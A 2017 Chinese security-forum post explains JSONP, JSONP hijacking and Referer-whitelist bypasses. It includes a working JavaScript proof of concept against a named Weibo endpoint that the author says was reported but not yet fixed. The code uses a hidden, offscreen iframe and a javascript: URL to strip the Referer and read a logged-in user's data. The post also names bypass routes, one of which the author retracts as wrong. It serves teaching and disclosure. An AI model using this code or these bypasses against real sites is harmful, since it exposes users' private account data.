本帖最后由 ze7o 于 2017-5-26 21:35 编辑
14年的文章17年才学习,很惭愧... 这篇文章写了一些自己对 JSONP跨域和安全 的理解,第一次画图。。 希望表哥多多指点
正文:
了解一下什么是JSONP:
什么是JSON:一种数据的交换格式(数据的表达形式)
什么是JSONP:将JSON请求封装进一个JavaScript函数,作为脚本发回给浏览器。客户端加载时,该脚本不受限于同源策略,函数就像其中的JSON对象一样。
更容易理解的解释就是:利用“script标签可以跨域请求"的特点来获取第三方的资源;类似这样:<script src="http://verysecurebank.ro/getAccountTransactions"></script>
当我们正常访问资源时是这样:
http://xianzhi.aliyun.com/forum/attachment/Mon_1705/4_1462346171058031_4f270fdae6ebb09.png
AJAX由于同源策略的限制,请求会报错:
http://xianzhi.aliyun.com/forum/attachment/Mon_1705/4_1462346171058031_c4eeb786b078232.png
而JSONP将会成功获取到第三方数据:
试着自己画了一张正常请求的图:
http://xianzhi.aliyun.com/forum/attachment/Mon_1705/4_1462346171058031_b469202562f6df0.png
JSONP安全:
JSONP给跨域获取数据带来了便利,但同时也会面临一些安全问题。
JSONP劫持:客户端(浏览器)可以执行页面的任意JS。当攻击者知道了某些"不安全的"JSONP接口,就可以利用这样的接口获取用户的基本数据。
举个栗子:
页面http://www.abc.com/attack.html 中存在向接口 http://www.weibo.com/callback 发出请求并将请求结果(数据)发送回来的的恶意JS。
在用户已经登陆了weibo.com的情况下,访问接口会返回用户数据。当用户访问abc.com/attack.html时会主动向接口发送请求,并将请求的结果发送给攻击者已经写好的接收页面。
上图:
http://xianzhi.aliyun.com/forum/attachment/Mon_1705/4_1462346171058031_d80157008e52e66.png
临时挖到的一个实例(漏洞已经提交微博SRC了,还没修 = =):
首先是接口地址:http://game.weibo.com/test.php?callback=HelloWeibo&reqid=101001016
知道了接口地址,而且接口没有对请求方做限制。下面就很好办了。
写一个利用的JS:
function create_noref_ifr(src,script){
var iframe = document.createElement('iframe');
iframe.style.width="1000px";
iframe.style.height="1000px";
iframe.style.position="absolute";
iframe.style.top="-1000px";
iframe.style.left="-1000px";
iframe.src = 'javascript:\"<script>'+script+'</script><script src='+src+'></script>\"';
(document.body||document.getElementsByTagName('head')[0]||document.documentElement).appendChild(iframe);
}
var json_src = "http://game.weibo.com/test.php?callback=HelloWeibo&reqid=101001016&_=" + Math.random();;
var script = "HelloWeibo={};HelloWeibo=function(data){var data = JSON.stringify(data);alert(data)}";
try{
create_noref_ifr(json_src,script)
}catch(error){
console.log('hello weibo');
}// create_noref_ifr函数用于创建iframe标签,接收两个参数,一个是JSONP接口,一个是要执行的JS
// 变量script是接收 JSONP接口的数据 处理为String后 alert出来
这里我已经写好了利用的页面:http://www.ze7ore.com/weibo.html 需要先登陆weibo.com后访问才能弹出信息
最后讲讲厂商的防护和防护绕过:
白名单:通常厂商会检测HTTP包中的Referer,对Referer做了白名单。
绕过1:有些厂商对Referer检测不是特别严格,当Referer为空的时候,可以绕过。 (上面写的JS,create_noref_ifr函数中使用了JS伪协议,发出的script请求中Referer是为空的)
这一条是错误的,在没有证实的情况下很抱歉写出这样的方法 绕过2:再找一个漏洞,比如任意地址跳转。这样Referer就是白名单中的域名了。
JSONP劫持的利用点:
社工?XSS打后台人员的其他网站信息?这些都要自己摸索 =。=
JSONP的安全问题不止这个,但却是最常见的。
最后谢谢审核表哥和各位表哥能看完。 文章写的很辣鸡。
文章参考知道创宇14年发表的博客:《JSONP 安全攻防技术》
参考:http://blog.knownsec.com/2015/03/jsonp_security_technic/
|